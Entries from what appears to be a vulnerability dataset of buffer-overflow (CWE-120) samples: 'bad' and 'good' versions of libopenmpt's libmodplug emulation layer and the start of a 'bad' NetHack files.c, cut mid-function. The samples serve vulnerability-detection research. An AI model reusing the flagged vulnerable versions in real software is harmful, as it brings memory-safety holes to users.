openmpt_module_get_pattern_row_channel_command(file->mod,pattern,r,c,OPENMPT_MODULE_COMMAND_INSTRUMENT); note.VolumeEffect = openmpt_module_get_pattern_row_channel_command(file->mod,pattern,r,c,OPENMPT_MODULE_COMMAND_VOLUMEEFFECT); note.Effect = openmpt_module_get_pattern_row_channel_command(file->mod,pattern,r,c,OPENMPT_MODULE_COMMAND_EFFECT); note.Volume = openmpt_module_get_pattern_row_channel_command(file->mod,pattern,r,c,OPENMPT_MODULE_COMMAND_VOLUME); note.Parameter = openmpt_module_get_pattern_row_channel_command(file->mod,pattern,r,c,OPENMPT_MODULE_COMMAND_PARAMETER); memcpy(&file->patterns[pattern][r*numc+c],&note,sizeof(ModPlugNote)); } } return file->patterns[pattern]; } LIBOPENMPT_MODPLUG_API void ModPlug_InitMixerCallback(ModPlugFile* file,ModPlugMixerProc proc) { if(!file) return; if(!file->mixerbuf){ file->mixerbuf = malloc(BUFFER_COUNT*sizeof(signed int)*4); } file->mixerproc = proc; } LIBOPENMPT_MODPLUG_API void ModPlug_UnloadMixerCallback(ModPlugFile* file) { if(!file) return; file->mixerproc = NULL; if(file->mixerbuf){ free(file->mixerbuf); file->mixerbuf = NULL; } } LIBOPENMPT_MODPLUG_API char ModPlug_ExportS3M(ModPlugFile* file, const char* filepath) { (void)file; /* not implemented */ fprintf(stderr,"libopenmpt-modplug: error: ModPlug_ExportS3M(%s) not implemented.\n",filepath); return 0; } LIBOPENMPT_MODPLUG_API char ModPlug_ExportXM(ModPlugFile* file, const char* filepath) { (void)file; /* not implemented */ fprintf(stderr,"libopenmpt-modplug: error: ModPlug_ExportXM(%s) not implemented.\n",filepath); return 0; } LIBOPENMPT_MODPLUG_API char ModPlug_ExportMOD(ModPlugFile* file, const char* filepath) { (void)file; /* not implemented */ fprintf(stderr,"libopenmpt-modplug: error: ModPlug_ExportMOD(%s) not implemented.\n",filepath); return 0; } LIBOPENMPT_MODPLUG_API char ModPlug_ExportIT(ModPlugFile* file, const char* filepath) { (void)file; /* not implemented */ fprintf(stderr,"libopenmpt-modplug: error: ModPlug_ExportIT(%s) not implemented.\n",filepath); return 0; } #endif /* NO_LIBMODPLUG */
./CrossVul/dataset_final_sorted/CWE-120/c/bad_1167_0
crossvul-cpp_data_good_1167_0
/* * libopenmpt_modplug.c * -------------------- * Purpose: libopenmpt emulation of the libmodplug interface * Notes : (currently none) * Authors: OpenMPT Devs * The OpenMPT source code is released under the BSD license. Read LICENSE for more details. */ #ifndef NO_LIBMODPLUG #ifdef LIBOPENMPT_BUILD_DLL #undef LIBOPENMPT_BUILD_DLL #endif #ifdef _MSC_VER #ifndef _CRT_SECURE_NO_WARNINGS #define _CRT_SECURE_NO_WARNINGS #endif #endif /* _MSC_VER */ #include "libopenmpt.h" #include <limits.h> #include <math.h> #include <memory.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #define MODPLUG_BUILD #ifdef _MSC_VER #ifdef MPT_BUILD_MSVC_SHARED #define DLL_EXPORT #endif /* MPT_BUILD_MSVC_SHARED */ #ifdef MPT_BUILD_MSVC_STATIC #define MODPLUG_STATIC #endif /* MPT_BUILD_MSVC_STATIC */ #endif /* _MSC_VER */ #ifdef _MSC_VER #define LIBOPENMPT_MODPLUG_API #else /* !_MSC_VER */ #define LIBOPENMPT_MODPLUG_API LIBOPENMPT_API_HELPER_EXPORT #endif /* _MSC_VER */ #include "libmodplug/modplug.h" /* from libmodplug/sndfile.h */ /* header is not c clean */ #define MIXING_ATTENUATION 4 #define MOD_TYPE_NONE 0x0 #define MOD_TYPE_MOD 0x1 #define MOD_TYPE_S3M 0x2 #define MOD_TYPE_XM 0x4 #define MOD_TYPE_MED 0x8 #define MOD_TYPE_MTM 0x10 #define MOD_TYPE_IT 0x20 #define MOD_TYPE_669 0x40 #define MOD_TYPE_ULT 0x80 #define MOD_TYPE_STM 0x100 #define MOD_TYPE_FAR 0x200 #define MOD_TYPE_WAV 0x400 #define MOD_TYPE_AMF 0x800 #define MOD_TYPE_AMS 0x1000 #define MOD_TYPE_DSM 0x2000 #define MOD_TYPE_MDL 0x4000 #define MOD_TYPE_OKT 0x8000 #define MOD_TYPE_MID 0x10000 #define MOD_TYPE_DMF 0x20000 #define MOD_TYPE_PTM 0x40000 #define MOD_TYPE_DBM 0x80000 #define MOD_TYPE_MT2 0x100000 #define MOD_TYPE_AMF0 0x200000 #define MOD_TYPE_PSM 0x400000 #define MOD_TYPE_J2B 0x800000 #define MOD_TYPE_ABC 0x1000000 #define MOD_TYPE_PAT 0x2000000 #define MOD_TYPE_UMX 0x80000000 // Fake type #define BUFFER_COUNT 1024 struct _ModPlugFile { openmpt_module* mod; signed short* buf; signed int* mixerbuf; char* name; char* message; ModPlug_Settings settings; ModPlugMixerProc mixerproc; ModPlugNote** patterns; }; static ModPlug_Settings globalsettings = { MODPLUG_ENABLE_OVERSAMPLING|MODPLUG_ENABLE_NOISE_REDUCTION, 2, 16, 44100, MODPLUG_RESAMPLE_LINEAR, 128, 256, 0, 0, 0, 0, 0, 0, 0 }; static int32_t modplugresamplingmode_to_filterlength(int mode) { if(mode<0){ return 1; } switch(mode){ case MODPLUG_RESAMPLE_NEAREST: return 1; break; case MODPLUG_RESAMPLE_LINEAR: return 2; break; case MODPLUG_RESAMPLE_SPLINE: return 4; break; case MODPLUG_RESAMPLE_FIR: return 8; break; } return 8; } LIBOPENMPT_MODPLUG_API ModPlugFile* ModPlug_Load(const void* data, int size) { ModPlugFile* file = malloc(sizeof(ModPlugFile)); const char* name = NULL; const char* message = NULL; if(!file) return NULL; memset(file,0,sizeof(ModPlugFile)); memcpy(&file->settings,&globalsettings,sizeof(ModPlug_Settings)); file->mod = openmpt_module_create_from_memory2(data,size,NULL,NULL,NULL,NULL,NULL,NULL,NULL); if(!file->mod){ free(file); return NULL; } file->buf = malloc(BUFFER_COUNT*sizeof(signed short)*4); if(!file->buf){ openmpt_module_destroy(file->mod); free(file); return NULL; } openmpt_module_set_repeat_count(file->mod,file->settings.mLoopCount); name = openmpt_module_get_metadata(file->mod,"title"); if(name){ file->name = malloc(strlen(name)+1); if(file->name){ strcpy(file->name,name); } openmpt_free_string(name); name = NULL; }else{ file->name = malloc(strlen("")+1); if(file->name){ strcpy(file->name,""); } } message = openmpt_module_get_metadata(file->mod,"message"); if(message){ file->message = malloc(strlen(message)+1); if(file->message){ strcpy(file->message,message); } openmpt_free_string(message); message = NULL; }else{ file->message = malloc(strlen("")+1); if(file->message){ strcpy(file->message,""); } } openmpt_module_set_render_param(file->mod,OPENMPT_MODULE_RENDER_STEREOSEPARATION_PERCENT,file->settings.mStereoSeparation*100/128); openmpt_module_set_render_param(file->mod,OPENMPT_MODULE_RENDER_INTERPOLATIONFILTER_LENGTH,modplugresamplingmode_to_filterlength(file->settings.mResamplingMode)); return file; } LIBOPENMPT_MODPLUG_API void ModPlug_Unload(ModPlugFile* file) { int p; if(!file) return; if(file->patterns){ for(p=0;p<openmpt_module_get_num_patterns(file->mod);p++){ if(file->patterns[p]){ free(file->patterns[p]); file->patterns[p] = NULL; } } free(file->patterns); file->patterns = NULL; } if(file->mixerbuf){ free(file->mixerbuf); file->mixerbuf = NULL; } openmpt_module_destroy(file->mod); file->mod = NULL; free(file->name); file->name = NULL; free(file->message); file->message = NULL; free(file->buf); file->buf = NULL; free(file); } LIBOPENMPT_MODPLUG_API int ModPlug_Read(ModPlugFile* file, void* buffer, int size) { int framesize; int framecount; int frames; int rendered; int frame; int channel; int totalrendered; signed short* in; signed int* mixbuf; unsigned char* buf8; signed short* buf16; signed int* buf32; if(!file) return 0; framesize = file->settings.mBits/8*file->settings.mChannels; framecount = size/framesize; buf8 = buffer; buf16 = buffer; buf32 = buffer; totalrendered = 0; while(framecount>0){ frames = framecount; if(frames>BUFFER_COUNT){ frames = BUFFER_COUNT; } if(file->settings.mChannels==1){ rendered = (int)openmpt_module_read_mono(file->mod,file->settings.mFrequency,frames,&file->buf[frames*0]); }else if(file->settings.mChannels==2){ rendered = (int)openmpt_module_read_stereo(file->mod,file->settings.mFrequency,frames,&file->buf[frames*0],&file->buf[frames*1]); }else if(file->settings.mChannels==4){ rendered = (int)openmpt_module_read_quad(file->mod,file->settings.mFrequency,frames,&file->buf[frames*0],&file->buf[frames*1],&file->buf[frames*2],&file->buf[frames*3]); }else{ return 0; } in = file->buf; if(file->mixerproc&&file->mixerbuf){ mixbuf=file->mixerbuf; for(frame=0;frame<frames;frame++){ for(channel=0;channel<file->settings.mChannels;channel++){ *mixbuf = in[frames*channel+frame]<<(32-16-1-MIXING_ATTENUATION); mixbuf++; } } file->mixerproc(file->mixerbuf,file->settings.mChannels*frames,file->settings.mChannels); mixbuf=file->mixerbuf; for(frame=0;frame<frames;frame++){ for(channel=0;channel<file->settings.mChannels;channel++){ in[frames*channel+frame] = *mixbuf>>(32-16-1-MIXING_ATTENUATION); mixbuf++; } } } if(file->settings.mBits==8){ for(frame=0;frame<frames;frame++){ for(channel=0;channel<file->settings.mChannels;channel++){ *buf8 = in[frames*channel+frame]/256+0x80; buf8++; } } }else if(file->settings.mBits==16){ for(frame=0;frame<frames;frame++){ for(channel=0;channel<file->settings.mChannels;channel++){ *buf16 = in[frames*channel+frame]; buf16++; } } }else if(file->settings.mBits==32){ for(frame=0;frame<frames;frame++){ for(channel=0;channel<file->settings.mChannels;channel++){ *buf32 = in[frames*channel+frame] << (32-16-1-MIXING_ATTENUATION); buf32++; } } }else{ return 0; } totalrendered += rendered; framecount -= frames; if(!rendered) break; } memset(((char*)buffer)+totalrendered*framesize,0,size-totalrendered*framesize); return totalrendered*framesize; } LIBOPENMPT_MODPLUG_API const char* ModPlug_GetName(ModPlugFile* file) { if(!file) return NULL; return file->name; } LIBOPENMPT_MODPLUG_API int ModPlug_GetLength(ModPlugFile* file) { if(!file) return 0; return (int)(openmpt_module_get_duration_seconds(file->mod)*1000.0); } LIBOPENMPT_MODPLUG_API void ModPlug_Seek(ModPlugFile* file, int millisecond) { if(!file) return; openmpt_module_set_position_seconds(file->mod,(double)millisecond*0.001); } LIBOPENMPT_MODPLUG_API void ModPlug_GetSettings(ModPlug_Settings* settings) { if(!settings) return; memcpy(settings,&globalsettings,sizeof(ModPlug_Settings)); } LIBOPENMPT_MODPLUG_API void ModPlug_SetSettings(const ModPlug_Settings* settings) { if(!settings) return; memcpy(&globalsettings,settings,sizeof(ModPlug_Settings)); } LIBOPENMPT_MODPLUG_API unsigned int ModPlug_GetMasterVolume(ModPlugFile* file) { int32_t val; if(!file) return 0; val = 0; if(!openmpt_module_get_render_param(file->mod,OPENMPT_MODULE_RENDER_MASTERGAIN_MILLIBEL,&val)) return 128; return (unsigned int)(128.0*pow(10.0,val*0.0005)); } LIBOPENMPT_MODPLUG_API void ModPlug_SetMasterVolume(ModPlugFile* file,unsigned int cvol) { if(!file) return; openmpt_module_set_render_param(file->mod,OPENMPT_MODULE_RENDER_MASTERGAIN_MILLIBEL,(int32_t)(2000.0*log10(cvol/128.0))); } LIBOPENMPT_MODPLUG_API int ModPlug_GetCurrentSpeed(ModPlugFile* file) { if(!file) return 0; return openmpt_module_get_current_speed(file->mod); } LIBOPENMPT_MODPLUG_API int ModPlug_GetCurrentTempo(ModPlugFile* file) { if(!file) return 0; return openmpt_module_get_current_tempo(file->mod); } LIBOPENMPT_MODPLUG_API int ModPlug_GetCurrentOrder(ModPlugFile* file) { if(!file) return 0; return openmpt_module_get_current_order(file->mod); } LIBOPENMPT_MODPLUG_API int ModPlug_GetCurrentPattern(ModPlugFile* file) { if(!file) return 0; return openmpt_module_get_current_pattern(file->mod); } LIBOPENMPT_MODPLUG_API int ModPlug_GetCurrentRow(ModPlugFile* file) { if(!file) return 0; return openmpt_module_get_current_row(file->mod); } LIBOPENMPT_MODPLUG_API int ModPlug_GetPlayingChannels(ModPlugFile* file) { if(!file) return 0; return openmpt_module_get_current_playing_channels(file->mod); } LIBOPENMPT_MODPLUG_API void ModPlug_SeekOrder(ModPlugFile* file,int order) { if(!file) return; openmpt_module_set_position_order_row(file->mod,order,0); } LIBOPENMPT_MODPLUG_API int ModPlug_GetModuleType(ModPlugFile* file) { const char* type; int retval; if(!file) return 0; type = openmpt_module_get_metadata(file->mod,"type"); retval = MOD_TYPE_NONE; if(!type){ return retval; } if(!strcmp(type,"mod")){ retval = MOD_TYPE_MOD; }else if(!strcmp(type,"s3m")){ retval = MOD_TYPE_S3M; }else if(!strcmp(type,"xm")){ retval = MOD_TYPE_XM; }else if(!strcmp(type,"med")){ retval = MOD_TYPE_MED; }else if(!strcmp(type,"mtm")){ retval = MOD_TYPE_MTM; }else if(!strcmp(type,"it")){ retval = MOD_TYPE_IT; }else if(!strcmp(type,"669")){ retval = MOD_TYPE_669; }else if(!strcmp(type,"ult")){ retval = MOD_TYPE_ULT; }else if(!strcmp(type,"stm")){ retval = MOD_TYPE_STM; }else if(!strcmp(type,"far")){ retval = MOD_TYPE_FAR; }else if(!strcmp(type,"s3m")){ retval = MOD_TYPE_WAV; }else if(!strcmp(type,"amf")){ retval = MOD_TYPE_AMF; }else if(!strcmp(type,"ams")){ retval = MOD_TYPE_AMS; }else if(!strcmp(type,"dsm")){ retval = MOD_TYPE_DSM; }else if(!strcmp(type,"mdl")){ retval = MOD_TYPE_MDL; }else if(!strcmp(type,"okt")){ retval = MOD_TYPE_OKT; }else if(!strcmp(type,"mid")){ retval = MOD_TYPE_MID; }else if(!strcmp(type,"dmf")){ retval = MOD_TYPE_DMF; }else if(!strcmp(type,"ptm")){ retval = MOD_TYPE_PTM; }else if(!strcmp(type,"dbm")){ retval = MOD_TYPE_DBM; }else if(!strcmp(type,"mt2")){ retval = MOD_TYPE_MT2; }else if(!strcmp(type,"amf0")){ retval = MOD_TYPE_AMF0; }else if(!strcmp(type,"psm")){ retval = MOD_TYPE_PSM; }else if(!strcmp(type,"j2b")){ retval = MOD_TYPE_J2B; }else if(!strcmp(type,"abc")){ retval = MOD_TYPE_ABC; }else if(!strcmp(type,"pat")){ retval = MOD_TYPE_PAT; }else if(!strcmp(type,"umx")){ retval = MOD_TYPE_UMX; }else{ retval = MOD_TYPE_IT; /* fallback, most complex type */ } openmpt_free_string(type); return retval; } LIBOPENMPT_MODPLUG_API char* ModPlug_GetMessage(ModPlugFile* file) { if(!file) return NULL; return file->message; } LIBOPENMPT_MODPLUG_API unsigned int ModPlug_NumInstruments(ModPlugFile* file) { if(!file) return 0; return openmpt_module_get_num_instruments(file->mod); } LIBOPENMPT_MODPLUG_API unsigned int ModPlug_NumSamples(ModPlugFile* file) { if(!file) return 0; return openmpt_module_get_num_samples(file->mod); } LIBOPENMPT_MODPLUG_API unsigned int ModPlug_NumPatterns(ModPlugFile* file) { if(!file) return 0; return openmpt_module_get_num_patterns(file->mod); } LIBOPENMPT_MODPLUG_API unsigned int ModPlug_NumChannels(ModPlugFile* file) { if(!file) return 0; return openmpt_module_get_num_channels(file->mod); } LIBOPENMPT_MODPLUG_API unsigned int ModPlug_SampleName(ModPlugFile* file, unsigned int qual, char* buff) { const char* str; char buf[32]; if(!file) return 0; str = openmpt_module_get_sample_name(file->mod,qual-1); memset(buf,0,32); if(str){ strncpy(buf,str,31); openmpt_free_string(str); } if(buff){ strncpy(buff,buf,32); } return (unsigned int)strlen(buf); } LIBOPENMPT_MODPLUG_API unsigned int ModPlug_InstrumentName(ModPlugFile* file, unsigned int qual, char* buff) { const char* str; char buf[32]; if(!file) return 0; str = openmpt_module_get_instrument_name(file->mod,qual-1); memset(buf,0,32); if(str){ strncpy(buf,str,31); openmpt_free_string(str); } if(buff){ strncpy(buff,buf,32); } return (unsigned int)strlen(buf); } LIBOPENMPT_MODPLUG_API ModPlugNote* ModPlug_GetPattern(ModPlugFile* file, int pattern, unsigned int* numrows) { int c; int r; int numr; int numc; ModPlugNote note; if(!file) return NULL; if(numrows){ *numrows = openmpt_module_get_pattern_num_rows(file->mod,pattern); } if(pattern<0||pattern>=openmpt_module_get_num_patterns(file->mod)){ return NULL; } if(!file->patterns){ file->patterns = malloc(sizeof(ModPlugNote*)*openmpt_module_get_pattern_num_rows(file->mod,pattern)); if(!file->patterns) return NULL; memset(file->patterns,0,sizeof(ModPlugNote*)*openmpt_module_get_pattern_num_rows(file->mod,pattern)); } if(!file->patterns[pattern]){ file->patterns[pattern] = malloc(sizeof(ModPlugNote)*openmpt_module_get_pattern_num_rows(file->mod,pattern)*openmpt_module_get_num_channels(file->mod)); if(!file->patterns[pattern]) return NULL; memset(file->patterns[pattern],0,sizeof(ModPlugNote)*openmpt_module_get_pattern_num_rows(file->mod,pattern)*openmpt_module_get_num_channels(file->mod)); } numr = openmpt_module_get_pattern_num_rows(file->mod,pattern); numc = openmpt_module_get_num_channels(file->mod); for(r=0;r<numr;r++){ for(c=0;c<numc;c++){ memset(&note,0,sizeof(ModPlugNote)); note.Note = openmpt_module_get_pattern_row_channel_command(file->mod,pattern,r,c,OPENMPT_MODULE_COMMAND_NOTE); note.Instrument = openmpt_module_get_pattern_row_channel_command(file->mod,pattern,r,c,OPENMPT_MODULE_COMMAND_INSTRUMENT); note.VolumeEffect = openmpt_module_get_pattern_row_channel_command(file->mod,pattern,r,c,OPENMPT_MODULE_COMMAND_VOLUMEEFFECT); note.Effect = openmpt_module_get_pattern_row_channel_command(file->mod,pattern,r,c,OPENMPT_MODULE_COMMAND_EFFECT); note.Volume = openmpt_module_get_pattern_row_channel_command(file->mod,pattern,r,c,OPENMPT_MODULE_COMMAND_VOLUME); note.Parameter = openmpt_module_get_pattern_row_channel_command(file->mod,pattern,r,c,OPENMPT_MODULE_COMMAND_PARAMETER); memcpy(&file->patterns[pattern][r*numc+c],&note,sizeof(ModPlugNote)); } } return file->patterns[pattern]; } LIBOPENMPT_MODPLUG_API void ModPlug_InitMixerCallback(ModPlugFile* file,ModPlugMixerProc proc) { if(!file) return; if(!file->mixerbuf){ file->mixerbuf = malloc(BUFFER_COUNT*sizeof(signed int)*4); } file->mixerproc = proc; } LIBOPENMPT_MODPLUG_API void ModPlug_UnloadMixerCallback(ModPlugFile* file) { if(!file) return; file->mixerproc = NULL; if(file->mixerbuf){ free(file->mixerbuf); file->mixerbuf = NULL; } } LIBOPENMPT_MODPLUG_API char ModPlug_ExportS3M(ModPlugFile* file, const char* filepath) { (void)file; /* not implemented */ fprintf(stderr,"libopenmpt-modplug: error: ModPlug_ExportS3M(%s) not implemented.\n",filepath); return 0; } LIBOPENMPT_MODPLUG_API char ModPlug_ExportXM(ModPlugFile* file, const char* filepath) { (void)file; /* not implemented */ fprintf(stderr,"libopenmpt-modplug: error: ModPlug_ExportXM(%s) not implemented.\n",filepath); return 0; } LIBOPENMPT_MODPLUG_API char ModPlug_ExportMOD(ModPlugFile* file, const char* filepath) { (void)file; /* not implemented */ fprintf(stderr,"libopenmpt-modplug: error: ModPlug_ExportMOD(%s) not implemented.\n",filepath); return 0; } LIBOPENMPT_MODPLUG_API char ModPlug_ExportIT(ModPlugFile* file, const char* filepath) { (void)file; /* not implemented */ fprintf(stderr,"libopenmpt-modplug: error: ModPlug_ExportIT(%s) not implemented.\n",filepath); return 0; } #endif /* NO_LIBMODPLUG */
./CrossVul/dataset_final_sorted/CWE-120/c/good_1167_0
crossvul-cpp_data_bad_1322_1
/* NetHack 3.6 files.c $NHDT-Date: 1574116097 2019/11/18 22:28:17 $ $NHDT-Branch: NetHack-3.6 $:$NHDT-Revision: 1.272 $ */ /* Copyright (c) Stichting Mathematisch Centrum, Amsterdam, 1985. */ /*-Copyright (c) Derek S. Ray, 2015. */ /* NetHack may be freely redistributed. See license for details. */ #define NEED_VARARGS #include "hack.h" #include "dlb.h" #ifdef TTY_GRAPHICS #include "wintty.h" /* more() */ #endif #if (!defined(MAC) && !defined(O_WRONLY) && !defined(AZTEC_C)) \ || defined(USE_FCNTL) #include <fcntl.h> #endif #include <errno.h> #ifdef _MSC_VER /* MSC 6.0 defines errno quite differently */ #if (_MSC_VER >= 600) #define SKIP_ERRNO #endif #else #ifdef NHSTDC #define SKIP_ERRNO #endif #endif #ifndef SKIP_ERRNO #ifdef _DCC const #endif extern int errno; #endif #ifdef ZLIB_COMP /* RLC 09 Mar 1999: Support internal ZLIB */ #include "zlib.h" #ifndef COMPRESS_EXTENSION #define COMPRESS_EXTENSION ".gz" #endif #endif #if defined(UNIX) && defined(QT_GRAPHICS) #include <sys/types.h> #include <dirent.h> #include <stdlib.h> #endif #if defined(UNIX) || defined(VMS) || !defined(NO_SIGNAL) #include <signal.h> #endif #if defined(MSDOS) || defined(OS2) || defined(TOS) || defined(WIN32) #ifndef __DJGPP__ #include <sys\stat.h> #else #include <sys/stat.h> #endif #endif #ifndef O_BINARY /* used for micros, no-op for others */ #define O_BINARY 0 #endif #ifdef PREFIXES_IN_USE #define FQN_NUMBUF 4 static char fqn_filename_buffer[FQN_NUMBUF][FQN_MAX_FILENAME]; #endif #if !defined(MFLOPPY) && !defined(VMS) && !defined(WIN32) char bones[] = "bonesnn.xxx"; char lock[PL_NSIZ + 14] = "1lock"; /* long enough for uid+name+.99 */ #else #if defined(MFLOPPY) char bones[FILENAME]; /* pathname of bones files */ char lock[FILENAME]; /* pathname of level files */ #endif #if defined(VMS) char bones[] = "bonesnn.xxx;1"; char lock[PL_NSIZ + 17] = "1lock"; /* long enough for _uid+name+.99;1 */ #endif #if defined(WIN32) char bones[] = "bonesnn.xxx"; char lock[PL_NSIZ + 25]; /* long enough for username+-+name+.99 */ #endif #endif #if defined(UNIX) || defined(__BEOS__) #define SAVESIZE (PL_NSIZ + 13) /* save/99999player.e */ #else #ifdef VMS #define SAVESIZE (PL_NSIZ + 22) /* [.save]<uid>player.e;1 */ #else #if defined(WIN32) #define SAVESIZE (PL_NSIZ + 40) /* username-player.NetHack-saved-game */ #else #define SAVESIZE FILENAME /* from macconf.h or pcconf.h */ #endif #endif #endif #if !defined(SAVE_EXTENSION) #ifdef MICRO #define SAVE_EXTENSION ".sav" #endif #ifdef WIN32 #define SAVE_EXTENSION ".NetHack-saved-game" #endif #endif char SAVEF[SAVESIZE]; /* holds relative path of save file from playground */ #ifdef MICRO char SAVEP[SAVESIZE]; /* holds path of directory for save file */ #endif #ifdef HOLD_LOCKFILE_OPEN struct level_ftrack { int init; int fd; /* file descriptor for level file */ int oflag; /* open flags */ boolean nethack_thinks_it_is_open; /* Does NetHack think it's open? */ } lftrack; #if defined(WIN32) #include <share.h> #endif #endif /*HOLD_LOCKFILE_OPEN*/ #define WIZKIT_MAX 128 static char wizkit[WIZKIT_MAX]; STATIC_DCL FILE *NDECL(fopen_wizkit_file); STATIC_DCL void FDECL(wizkit_addinv, (struct obj *)); #ifdef AMIGA extern char PATH[]; /* see sys/amiga/amidos.c */ extern char bbs_id[]; static int lockptr; #ifdef __SASC_60 #include <proto/dos.h> #endif #include <libraries/dos.h> extern void FDECL(amii_set_text_font, (char *, int)); #endif #if defined(WIN32) || defined(MSDOS) static int lockptr; #ifdef MSDOS #define Delay(a) msleep(a) #endif #define Close close #ifndef WIN_CE #define DeleteFile unlink #endif #ifdef WIN32 /*from windmain.c */ extern char *FDECL(translate_path_variables, (const char *, char *)); #endif #endif #ifdef MAC #undef unlink #define unlink macunlink #endif #if (defined(macintosh) && (defined(__SC__) || defined(__MRC__))) \ || defined(__MWERKS__) #define PRAGMA_UNUSED #endif #ifdef USER_SOUNDS extern char *sounddir; #endif extern int n_dgns; /* from dungeon.c */ #if defined(UNIX) && defined(QT_GRAPHICS) #define SELECTSAVED #endif #ifdef SELECTSAVED STATIC_PTR int FDECL(CFDECLSPEC strcmp_wrap, (const void *, const void *)); #endif STATIC_DCL char *FDECL(set_bonesfile_name, (char *, d_level *)); STATIC_DCL char *NDECL(set_bonestemp_name); #ifdef COMPRESS STATIC_DCL void FDECL(redirect, (const char *, const char *, FILE *, BOOLEAN_P)); #endif #if defined(COMPRESS) || defined(ZLIB_COMP) STATIC_DCL void FDECL(docompress_file, (const char *, BOOLEAN_P)); #endif #if defined(ZLIB_COMP) STATIC_DCL boolean FDECL(make_compressed_name, (const char *, char *)); #endif #ifndef USE_FCNTL STATIC_DCL char *FDECL(make_lockname, (const char *, char *)); #endif STATIC_DCL void FDECL(set_configfile_name, (const char *)); STATIC_DCL FILE *FDECL(fopen_config_file, (const char *, int)); STATIC_DCL int FDECL(get_uchars, (char *, uchar *, BOOLEAN_P, int, const char *)); boolean FDECL(proc_wizkit_line, (char *)); boolean FDECL(parse_config_line, (char *)); STATIC_DCL boolean FDECL(parse_conf_file, (FILE *, boolean (*proc)(char *))); STATIC_DCL FILE *NDECL(fopen_sym_file); boolean FDECL(proc_symset_line, (char *)); STATIC_DCL void FDECL(set_symhandling, (char *, int)); #ifdef NOCWD_ASSUMPTIONS STATIC_DCL void FDECL(adjust_prefix, (char *, int)); #endif STATIC_DCL boolean FDECL(config_error_nextline, (const char *)); STATIC_DCL void NDECL(free_config_sections); STATIC_DCL char *FDECL(choose_random_part, (char *, CHAR_P)); STATIC_DCL boolean FDECL(is_config_section, (const char *)); STATIC_DCL boolean FDECL(handle_config_section, (char *)); #ifdef SELF_RECOVER STATIC_DCL boolean FDECL(copy_bytes, (int, int)); #endif #ifdef HOLD_LOCKFILE_OPEN STATIC_DCL int FDECL(open_levelfile_exclusively, (const char *, int, int)); #endif static char *config_section_chosen = (char *) 0; static char *config_section_current = (char *) 0; /* * fname_encode() * * Args: * legal zero-terminated list of acceptable file name characters * quotechar lead-in character used to quote illegal characters as * hex digits * s string to encode * callerbuf buffer to house result * bufsz size of callerbuf * * Notes: * The hex digits 0-9 and A-F are always part of the legal set due to * their use in the encoding scheme, even if not explicitly included in * 'legal'. * * Sample: * The following call: * (void)fname_encode("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", * '%', "This is a % test!", buf, 512); * results in this encoding: * "This%20is%20a%20%25%20test%21" */ char * fname_encode(legal, quotechar, s, callerbuf, bufsz) const char *legal; char quotechar; char *s, *callerbuf; int bufsz; { char *sp, *op; int cnt = 0; static char hexdigits[] = "0123456789ABCDEF"; sp = s; op = callerbuf; *op = '\0'; while (*sp) { /* Do we have room for one more character or encoding? */ if ((bufsz - cnt) <= 4) return callerbuf; if (*sp == quotechar) { (void) sprintf(op, "%c%02X", quotechar, *sp); op += 3; cnt += 3; } else if ((index(legal, *sp) != 0) || (index(hexdigits, *sp) != 0)) { *op++ = *sp; *op = '\0'; cnt++; } else { (void) sprintf(op, "%c%02X", quotechar, *sp); op += 3; cnt += 3; } sp++; } return callerbuf; } /* * fname_decode() * * Args: * quotechar lead-in character used to quote illegal characters as * hex digits * s string to decode * callerbuf buffer to house result * bufsz size of callerbuf */ char * fname_decode(quotechar, s, callerbuf, bufsz) char quotechar; char *s, *callerbuf; int bufsz; { char *sp, *op; int k, calc, cnt = 0; static char hexdigits[] = "0123456789ABCDEF"; sp = s; op = callerbuf; *op = '\0'; calc = 0; while (*sp) { /* Do we have room for one more character? */ if ((bufsz - cnt) <= 2) return callerbuf; if (*sp == quotechar) { sp++; for (k = 0; k < 16; ++k) if (*sp == hexdigits[k]) break; if (k >= 16) return callerbuf; /* impossible, so bail */ calc = k << 4; sp++; for (k = 0; k < 16; ++k) if (*sp == hexdigits[k]) break; if (k >= 16) return callerbuf; /* impossible, so bail */ calc += k; sp++; *op++ = calc; *op = '\0'; } else { *op++ = *sp++; *op = '\0'; } cnt++; } return callerbuf; } #ifdef PREFIXES_IN_USE #define UNUSED_if_not_PREFIXES_IN_USE /*empty*/ #else #define UNUSED_if_not_PREFIXES_IN_USE UNUSED #endif /*ARGSUSED*/ const char * fqname(basenam, whichprefix, buffnum) const char *basenam; int whichprefix UNUSED_if_not_PREFIXES_IN_USE; int buffnum UNUSED_if_not_PREFIXES_IN_USE; { #ifdef PREFIXES_IN_USE char *bufptr; #endif #ifdef WIN32 char tmpbuf[BUFSZ]; #endif #ifndef PREFIXES_IN_USE return basenam; #else if (!basenam || whichprefix < 0 || whichprefix >= PREFIX_COUNT) return basenam; if (!fqn_prefix[whichprefix]) return basenam; if (buffnum < 0 || buffnum >= FQN_NUMBUF) { impossible("Invalid fqn_filename_buffer specified: %d", buffnum); buffnum = 0; } bufptr = fqn_prefix[whichprefix]; #ifdef WIN32 if (strchr(fqn_prefix[whichprefix], '%') || strchr(fqn_prefix[whichprefix], '~')) bufptr = translate_path_variables(fqn_prefix[whichprefix], tmpbuf); #endif if (strlen(bufptr) + strlen(basenam) >= FQN_MAX_FILENAME) { impossible("fqname too long: %s + %s", bufptr, basenam); return basenam; /* XXX */ } Strcpy(fqn_filename_buffer[buffnum], bufptr); return strcat(fqn_filename_buffer[buffnum], basenam); #endif /* !PREFIXES_IN_USE */ } int validate_prefix_locations(reasonbuf) char *reasonbuf; /* reasonbuf must be at least BUFSZ, supplied by caller */ { #if defined(NOCWD_ASSUMPTIONS) FILE *fp; const char *filename; int prefcnt, failcount = 0; char panicbuf1[BUFSZ], panicbuf2[BUFSZ]; const char *details; #endif if (reasonbuf) reasonbuf[0] = '\0'; #if defined(NOCWD_ASSUMPTIONS) for (prefcnt = 1; prefcnt < PREFIX_COUNT; prefcnt++) { /* don't test writing to configdir or datadir; they're readonly */ if (prefcnt == SYSCONFPREFIX || prefcnt == CONFIGPREFIX || prefcnt == DATAPREFIX) continue; filename = fqname("validate", prefcnt, 3); if ((fp = fopen(filename, "w"))) { fclose(fp); (void) unlink(filename); } else { if (reasonbuf) { if (failcount) Strcat(reasonbuf, ", "); Strcat(reasonbuf, fqn_prefix_names[prefcnt]); } /* the paniclog entry gets the value of errno as well */ Sprintf(panicbuf1, "Invalid %s", fqn_prefix_names[prefcnt]); #if defined(NHSTDC) && !defined(NOTSTDC) if (!(details = 